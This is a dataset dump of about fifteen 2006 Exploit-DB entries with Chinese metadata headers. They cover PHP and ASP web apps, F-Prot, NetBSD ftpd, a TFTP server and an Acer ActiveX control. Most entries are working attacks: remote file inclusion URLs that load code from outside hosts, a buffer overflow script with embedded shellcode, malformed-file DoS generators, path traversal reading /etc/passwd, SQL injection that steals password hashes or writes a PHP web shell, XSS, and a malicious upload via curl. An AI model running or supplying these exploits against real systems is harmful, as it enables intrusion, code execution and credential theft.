QLWD/code_shield huggingface dataset:
标题: PHP-revista 1.1.2 - 'adodb' Multiple Remote File Inclusions EDB-ID: 2890 CVE: 2006-4605 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-03 漏洞利用脚本: --------------------------------------||    Viva Palestine  ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


php-revista <= 1.1.2 (index.php) Remote File Include Vulnerability


Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");

            A_mal Hackeing Team _ Hacking



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif

######################################################
#
#            php-revista 1.1.2
#
# Class:     Remote File Include Vulnerability
# Published  2006-12-3
# Remote:    Yes
# Type:      high
# Site:
http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&big_mirror=0
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################
<?

include ("$adodb");
$obten_rev="select max(id_revista) as id from revista where terminada=1";
$obten = $DB->execute("$obten_rev");
$id_revista = $obten->fields["id"];

======================================================

Exploit :

Http://www.Victem.0/[php-revista_PaTH]/estilo/Digital_Multiplex/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/discreet/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/galveston/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/mergedidea/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/Shadow_Boxer/index.php?adodb=http://4azhar.com/soft.txt?
Http://www.Victem.0/[php-revista_PaTH]/estilo/Widget_Factory/index.php?adodb=http://4azhar.com/soft.txt?

======================================================




----  GreeTz: [MoHaNdKo]  [Cold One]  [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
             [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[  Everyone I know


****************************************************************
# *www.4azhar.com Securty Team    >>      www.4azhar.com        *
# *SpeciaL PoweR SecuritY Team    >>      www.specialpower.org  *
# *A_mal Hacking Team             >>      -vv -l -p The-Pradise *
*****************************************************************


http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif


--------------------------------------||    Viva Palestine  ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


# milw0rm.com [2006-12-03] URL: https://www.exploit-db.com/exploits/2890
标题: F-Prot AntiVirus 4.6.6 - 'ACE' Denial of Service EDB-ID: 2892 CVE: 2006-6352 类型: DOS 平台: LINUX 发布日期: 2006-12-04 漏洞利用脚本: # fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# To test this code on Linux:
#
# create ACE compressed file
# $ ./fprot1.py > 1.ace
# $ f-prot 1.ace

import sys
import struct

ACE="""
 58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14
 02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a
 55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52
 53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff
 00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00
 02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41
 41 41 41 41 41
"""

s = ""
for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:
       s += i

sys.stdout.write(s)

# milw0rm.com [2006-12-04] URL: https://www.exploit-db.com/exploits/2892
标题: PHP Upload Center 2.0 - 'activate.php' File Inclusion EDB-ID: 2886 CVE: 2006-6360 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-03 漏洞利用脚本: *************************************************************************************************************************
                                                                                
                      Coding 4 Fun            
                                                    
*************************************************************************************************************************
                  
* Name = PHP Upload Center v2.0 ;             
                  
* Class = Remote/Local File Inclusion ;            
                
* Download = http://skrypty.webpc.pl/pobierz.php?id=58 ;                 
                  
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;                 
                    
-------------------------------------------------------------------------------------------------------------------------
                  
Vulnerable Code in activate.php             
                
line 66-70               
                
...                
                
 if (!isset($language))              
  $language=$dft_language;             
if ($language=="")              
  $language=$dft_language;             
require("include/${language}.php"); <== Local incl.         
                
...                
 

line 164

...

include($footerpage);  <== Remote incl.

...


Code in include/en.php (and other language files)

line 5-7

...

$headerpage="include/header.htm";
$footerpage="include/footer.htm"; <==
$infopage="include/info.htm";

...

                 
- Ex. : 

                 
 http://[target]/[path]/activate.php?language=conf&footerpage=http://evil?         
                
                
                
                
*************************************************************************************************************************
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.      
                         
*************************************************************************************************************************

# milw0rm.com [2006-12-03] URL: https://www.exploit-db.com/exploits/2886
标题: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - 'Filename' Remote Buffer Overflow EDB-ID: 2887 CVE: 2006-6184 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-03 漏洞利用脚本: #!/usr/bin/perl -w
#acaro[at]jervus.it
#https://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability



use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: atftp-19.pl <victim> <port>\n\n";
 exit;
}



$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";
$pad = "\x90"x63;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf1".
"\xf1\x59\x06\x83\xeb\xfc\xe2\xf4\x0d\x19\x1d\x06\xf1\xf1\xd2\x43".
"\xcd\x7a\x25\x03\x89\xf0\xb6\x8d\xbe\xe9\xd2\x59\xd1\xf0\xb2\x4f".
"\x7a\xc5\xd2\x07\x1f\xc0\x99\x9f\x5d\x75\x99\x72\xf6\x30\x93\x0b".
"\xf0\x33\xb2\xf2\xca\xa5\x7d\x02\x84\x14\xd2\x59\xd5\xf0\xb2\x60".
"\x7a\xfd\x12\x8d\xae\xed\x58\xed\x7a\xed\xd2\x07\x1a\x78\x05\x22".
"\xf5\x32\x68\xc6\x95\x7a\x19\x36\x74\x31\x21\x0a\x7a\xb1\x55\x8d".
"\x81\xed\xf4\x8d\x99\xf9\xb2\x0f\x7a\x71\xe9\x06\xf1\xf1\xd2\x6e".
"\xcd\xae\x68\xf0\x91\xa7\xd0\xfe\x72\x31\x22\x56\x99\x01\xd3\x02".
"\xae\x99\xc1\xf8\x7b\xff\x0e\xf9\x16\x92\x38\x6a\x92\xdf\x3c\x7e".
"\x94\xf1\x59\x06";

#$eip="\x42\x42\x42\x42";
$eip="\xf4\xf5\xe3\x75"; #call [ESP+28] in IMM32.dll on win2k Server SP4 Italian 



$mode = "netascii";

$exploit = "\x00\x02" . $pad . $shellcode . $eip . "\0"  . $mode . "\0";


print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
exit;

# milw0rm.com [2006-12-03] URL: https://www.exploit-db.com/exploits/2887
标题: Ultimate HelpDesk - Cross-Site Scripting / Local File Disclosure EDB-ID: 2881 CVE: 2006-6381 2006-6380 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-01 漏洞利用脚本: *******************************************************************************
# Title   :  Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities
# Author  :   ajann
# Contact :   :(

*******************************************************************************

Login Before Vulnerabilities.:


[[SOURCE]]]------------------------------------------------------

http://[target]/[path]//getfile.asp?filename=[SQL]

Example:

//getfile.asp?filename=../index.asp
//getfile.asp?filename=../../../boot.ini

[[/SOURCE]]]


[[XSS]]]---------------------------------------------------------

http://[target]/[path]//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=[XSS]

Example:

//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%27ajann%27%29%3B%3C%2Fscript%3E

[[/XSS]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-01] URL: https://www.exploit-db.com/exploits/2881
标题: F-Prot AntiVirus 4.6.6 - CHM Heap Overflow (PoC) EDB-ID: 2893 CVE: 2006-6293 类型: DOS 平台: LINUX 发布日期: 2006-12-04 漏洞利用脚本: # fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap
# overflow
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# $ ./fprot2.py > 1.chm
# $ f-prot 1.chm

import sys
import struct

s=""
s+="ITSF"        # signature
s+=struct.pack("<L",3) # version
s+=struct.pack("<L",96) # header_len
s+=struct.pack("<L",1) # unknown
s+=struct.pack("<L",0x41424344) # last_modified
s+=struct.pack("<L",0x419) # lang_id
s+="A"*16 #dir_clsid
s+="B"*16 #stream_clsid
s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset
s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len
s+=struct.pack("<L",120) + "\x00" *4 #dir_offset
s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len
s+=struct.pack("<L",4300) + "\x00"*4 #data_offset
s+="A"*24
s+="ITSP"
s+=struct.pack("<L", 1) # version
s+=struct.pack("<L",0x54) # header_len
s+=struct.pack("<L", 0xa) # unknown
s+=struct.pack("<L",1000) # block_len - BUG?
s+=struct.pack("<L",2) # blockidx
s+=struct.pack("<L", 1) # index_depth
s+=struct.pack("<L", -1) # index_root
s+=struct.pack("<L",0) # index_head
s+=struct.pack("<L",0) # index_tail
s+=struct.pack("<L", -1) # unknown2
s+=struct.pack("<L",1) # num_blocks
s+=struct.pack("<L", 1033) # lang_id
s+="A"*32
s+="B"*10000

sys.stdout.write(s)

# milw0rm.com [2006-12-04] URL: https://www.exploit-db.com/exploits/2893
标题: mxBB Module mx_tinies 1.3.0 - Remote File Inclusion EDB-ID: 2885 CVE: 2006-6295 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-02 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
     +                                                         +
     + mx_tinies 1.3.0 (common.php) File Include Vulnerability +
     +                                                         +
     + Bugfounder: bd0rk || SOH-Crew                           +
     +                                                         +
     + Homepage1: www.soh-crew.it.tt                           +
     +                                                         +
     + Homepage2: www.school-of-hack.de                        +
     +                                                         +
     + eMail: bd0rk[at]hackermail.com                          +
     +                                                         +
     +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


 Download: http://forums.phpmix.org/download.php?id=23
 
 Exploit: http://[y0urh0st]/[paTh]/includes/common.php?module_root_path=[Ev!lScript]

 Gr33tz: TheJT, Vakum, Kacper, rgod, str0ke, pritzel

 bd0rk ---> German Hacker [white hat] :-)

# milw0rm.com [2006-12-02] URL: https://www.exploit-db.com/exploits/2885
标题: ContentServ 4.x - '/admin/FileServer.php' File Disclosure EDB-ID: 2878 CVE: 2006-6277 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-01 漏洞利用脚本: ContentServ again (still) features remote reading of arbitrary files
====================================================================

ContentServ is a cms and "cross media publishing" software.

Let me quote from their website:

"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"

Ok.

Now for the real fun remember:
http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html


Still with me? Ok. Lets forget the sql injections for a moment, what if we try:
http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd

# milw0rm.com [2006-12-01] URL: https://www.exploit-db.com/exploits/2878
标题: NetBSD - 'FTPd / Tnftpd' Remote Stack Overflow (PoC) EDB-ID: 2874 CVE: 2006-6652 类型: DOS 平台: BSD 发布日期: 2006-11-30 漏洞利用脚本: #!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope

use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                             PeerPort => '21',
                             Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
       print;
}

# milw0rm.com [2006-11-30] URL: https://www.exploit-db.com/exploits/2874
标题: Invision Community Blog Mod 1.2.4 - SQL Injection EDB-ID: 2877 CVE: 2006-6369 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-01 漏洞利用脚本: 1. Open any blog entry
2. Try to reply to any message
3. Push "Preview message" button (Do not post your reply)
4. Save source code of opened page to your PC
5. Find this string <input type='hidden' name='eid' value='<BLOG_ENTRY_ID>' />

6. Change <BLOG_ENTRY_ID> with this SQL Injection:

<BLOG_ENTRY_ID> UNION  SELECT b.entry_id,  b.blog_id, b.category_id, b.entry_author_id, b.entry_author_name, b.entry_date, member_login_key, b.entry_category, b.entry, b.entry_status, b.entry_locked, b.entry_num_comments, b.entry_last_comment, b.entry_last_comment_date, b.entry_last_comment_name, b.entry_last_comment_mid, b.entry_queued_comments, b.entry_has_attach, b.entry_post_key, b.entry_edit_time, b.entry_edit_name, b.entry_html_state, b.entry_use_emo, b.entry_trackbacks, b.entry_sent_trackbacks, b.entry_last_update, b.entry_gallery_album, b.entry_poll_state, b.entry_last_vote FROM ibf_members, ipb_blog_entries b WHERE id=<USER_ID> and b.entry_id=<BLOG_ENTRY_ID> LIMIT 1,1

<USER_ID> - ID of the user whom password you want to get.

7. Push "Preview Button" again.

8. After refresh instead of blog entry name you will get users's HASH password.

9. Change your cookies in your favorite browser and open board. You will be automaticaly logged in as the user whom password you just got.

# milw0rm.com [2006-12-01] URL: https://www.exploit-db.com/exploits/2877
标题: LDU 8.x - 'polls.php' SQL Injection EDB-ID: 2871 CVE: 2006-6577 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-30 漏洞利用脚本: *******************************************************************************
# Title   :  LDU <= 8.x (polls.php) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# Dork    :  "Powered by LDU"

*******************************************************************************

[[SQL]]]------------------------------------------------------

### http://[target]/[path]/polls.php?id=

Example:

//
polls.php?id='union%20select%200,0,0,0,char(60,63,105,110,99,108,117,100,101,40,36,99,109,100,41,59,63,62)%20from%20sed_users%20INTO%20OUTFILE%20'[path]/.php'/*

.php?cmd=[shell]
"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-30] URL: https://www.exploit-db.com/exploits/2871
标题: DZCP (deV!L`z Clanportal) 1.3.6 - Arbitrary File Upload EDB-ID: 2876 CVE: 2006-6338 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-01 漏洞利用脚本: S Y N O P S I S  /
================='
-(  access: remote   severity: high  )-
deV!L`z Clanportal allows nearly arbitrary files to be uploaded and stored on
the server's filesystem, which enables anyone, even without a user account, to
upload PHP code and execute it, leading to arbitrary code execution.


B A C K G R O U N D  /
====================='
deV!L`z Clanportal (short "DZCP") is a suite of PHP scripts that allow anybody
to create a feature-rich website for her online gaming clan.


A F F E C T E D   V E R S I O N S  /
==================================='
verified on:  1.3.6
possibly vulnerable:  <= 1.3.6
fixed in:  1.3.6.1


I M P A C T  /
============='
The attacker can run own code on the web sever with the same privileges as DZCP
itself, enabling her to do almost anything from getting the MySQL password to
hosting own files and scripts or getting a shell on the server.


P R E R E Q U I S I T I E S  /
============================='
the attacker needs a file that is both a valid JPEG or GIF file and valid
PHP (or probably other) code

A B O U T   T H E   A U T H O R  /
================================='
Tim Weber, computer science student at the University of Mannheim, Germany,
currently looking for an internship at some IT security or pentesting company,
can be reached via e-mail: scy-adv-061124b at the host scytale.de.

P R O O F   O F   C O N C E P T  /
================================='
Get a JPEG file, open it in a hex editor, add some PHP inside the EXIF data or
in similar places.  Make sure PHP's getimagesize() does not return false and
that the file does not throw parse errors or the like when fed to PHP.  Then:

curl -F 'file=@img.php;type=image/jpeg' 'http://<dzcp>/upload/index.php?action=userpic&do=upload'

Then check http://<dzcp>/inc/images/uploads/userpics/.php

# milw0rm.com [2006-12-01] URL: https://www.exploit-db.com/exploits/2876
标题: Acer LunchApp.APlunch - ActiveX Control Command Execution EDB-ID: 2866 CVE: 2006-6121 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-30 漏洞利用脚本: <!--
Author: Tan Chew Keong 
Site: http://vuln.sg/
Acer Notebook LunchApp.APlunch ActiveX Control Command Execution Exploit
-->

<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3AA" id="hahaha">
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>

# milw0rm.com [2006-11-30] URL: https://www.exploit-db.com/exploits/2866
标题: b2evolution 1.8.5 < 1.9b - 'import-mt.php' Remote File Inclusion EDB-ID: 2864 CVE: 2006-6417 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-29 漏洞利用脚本: Severity: High
 Title: b2evolution Remote File inclusion Vulnerability
 Date: 28.11.06
 Author: tarkus (tarkus (at) tiifp (dot) org)
 Web: https://tiifp.org/tarkus
 Vendor: b2evolution (http://b2evolution.net/)
 Affected Product(s): b2evolution 1.8.5 - 1.9 beta
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Description:
------------

Line 67 of import-mt.php (blogs/inc/CONTROL/imports):

>
>require_once $inc_path.'MODEL/files/_file.funcs.php';
>



PoC:
----

http://<victim>/<b2epath>/inc/CONTROL/imports/import-mt.php?basepath=foo&inc_path=https://tiifp.org/tarkus/PoC/

register_globals and allow_url_fopen have to be On


Workaround:
-----------

Put the following line at the beginning of the file.

if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page \
directly.' );



Vendor Response:
----------------

Reported to Vendor:     10.11.06
Vendor response:        10.11.06
Patch in CVS:           10.11.06

# milw0rm.com [2006-11-29] URL: https://www.exploit-db.com/exploits/2864
标题: P-News 2.0 - 'user.txt' Remote Password Disclosure EDB-ID: 2862 CVE: 2006-7114 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-28 漏洞利用脚本: P-News V² -  (user.txt)  Information Disclosure Vulnerability


**************************************************************
Critical Level : Dangerous
**************************************************************
Script Download: http://download.planerd.net/dir/php
**************************************************************
Bugfounder: Lu7k
**************************************************************
Contact Me : www.school-of-hack.de or lu7k@mail.nu
**************************************************************

-----------------------------------------------------------------------------

Code:http://target/path/db/user.txt

-----------------------------------------------------------------------------

*************************************************************
Greetings: Bdrok - TheJT - MyMaster - str0ke
*************************************************************

# milw0rm.com [2006-11-28] URL: https://www.exploit-db.com/exploits/2862